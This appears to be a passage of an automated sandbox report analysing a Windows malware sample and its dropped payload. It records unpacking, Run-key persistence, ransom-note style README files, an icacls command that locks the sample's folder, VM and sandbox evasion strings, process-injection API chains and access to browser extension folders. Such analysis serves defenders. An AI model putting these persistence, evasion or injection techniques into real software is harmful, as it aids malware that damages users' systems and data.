Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\? source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\2z source: n8XBpFdVFU.exe, 00000004.00000003.2106510342.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100109727.0000000009B69000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108897875.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101405775.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\y source: n8XBpFdVFU.exe, 00000004.00000003.2077978681.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Q source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\aB source: n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1801653331.000000000319B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2009335239.0000000009A9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjsq source: n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*29 source: n8XBpFdVFU.exe, 00000004.00000003.2099907699.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\&G source: n8XBpFdVFU.exe, 00000004.00000003.2068684614.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070809171.00000000032C3000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Unpacked PE file: 1.2.n8XBpFdVFU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Unpacked PE file: 4.2.n8XBpFdVFU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 6.2.n8XBpFdVFU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 11.2.n8XBpFdVFU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 16.2.n8XBpFdVFU.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Unpacked PE file: 1.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Unpacked PE file: 4.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 6.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 11.2.n8XBpFdVFU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Unpacked PE file: 16.2.n8XBpFdVFU.exe.400000.0.unpack

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: sqln[1].dll.8.dr

Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_00406805 push ecx; ret	0_2_00406818
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_045E50AF push ecx; retf	0_2_045E50B2
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E48F05 push ecx; ret	0_2_05E48F18
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_042FE0AF push ecx; retf	3_2_042FE0B2
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05E08F05 push ecx; ret	3_2_05E08F18
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html			Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe			Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll			Jump to dropped file

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File created: C:\Users\user\_README.txt

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_00405653 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00405653

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7176, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_045E371C rdtsc

0_2_045E371C

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-39066

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe TID: 6652	Thread sleep time: -700000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe TID: 5084	Thread sleep count: 53 > 30			Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: n8XBpFdVFU.exe, 00000001.00000002.1645789989.0000000000789000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPW\|%SystemRoot%\system32\mswsock.dll
Source: n8XBpFdVFU.exe, 00000004.00000003.1746830104.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: n8XBpFdVFU.exe, 00000004.00000003.1721836693.00000000097C2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: n8XBpFdVFU.exe, 00000004.00000003.1724689247.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/03/2023 13:09:52.535OFFICECL (0x2394)0x12d8Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 11, "Time": "2023-10-03T12:09:52Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: n8XBpFdVFU.exe, 00000004.00000003.1721836693.00000000097C2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: n8XBpFdVFU.exe, 00000001.00000002.1645789989.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2147192061.0000000000831000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.0000000000932000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: n8XBpFdVFU.exe, 00000004.00000003.1746830104.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.0000000000831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

API call chain: ExitProcess graph end node

graph_1-39068

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_045E371C rdtsc

0_2_045E371C

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_0040A3A4 IsDebuggerPresent,

0_2_0040A3A4

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

4_2_00481920

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

1_2_00412220

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_045E20A3 push dword ptr fs:[00000030h]	0_2_045E20A3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_05E20042 push dword ptr fs:[00000030h]	0_2_05E20042
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_042FB0A3 push dword ptr fs:[00000030h]	3_2_042FB0A3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 3_2_05DE0042 push dword ptr fs:[00000030h]	3_2_05DE0042

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_00405A52 GetProcessHeap,

0_2_00405A52

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 0_2_0040A32F SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040A32F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_05E20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05E20110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Memory written: C:\Users\user\Desktop\n8XBpFdVFU.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Memory written: C:\Users\user\Desktop\n8XBpFdVFU.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Memory written: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Memory written: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe base: 400000 value starts with: 4D5A
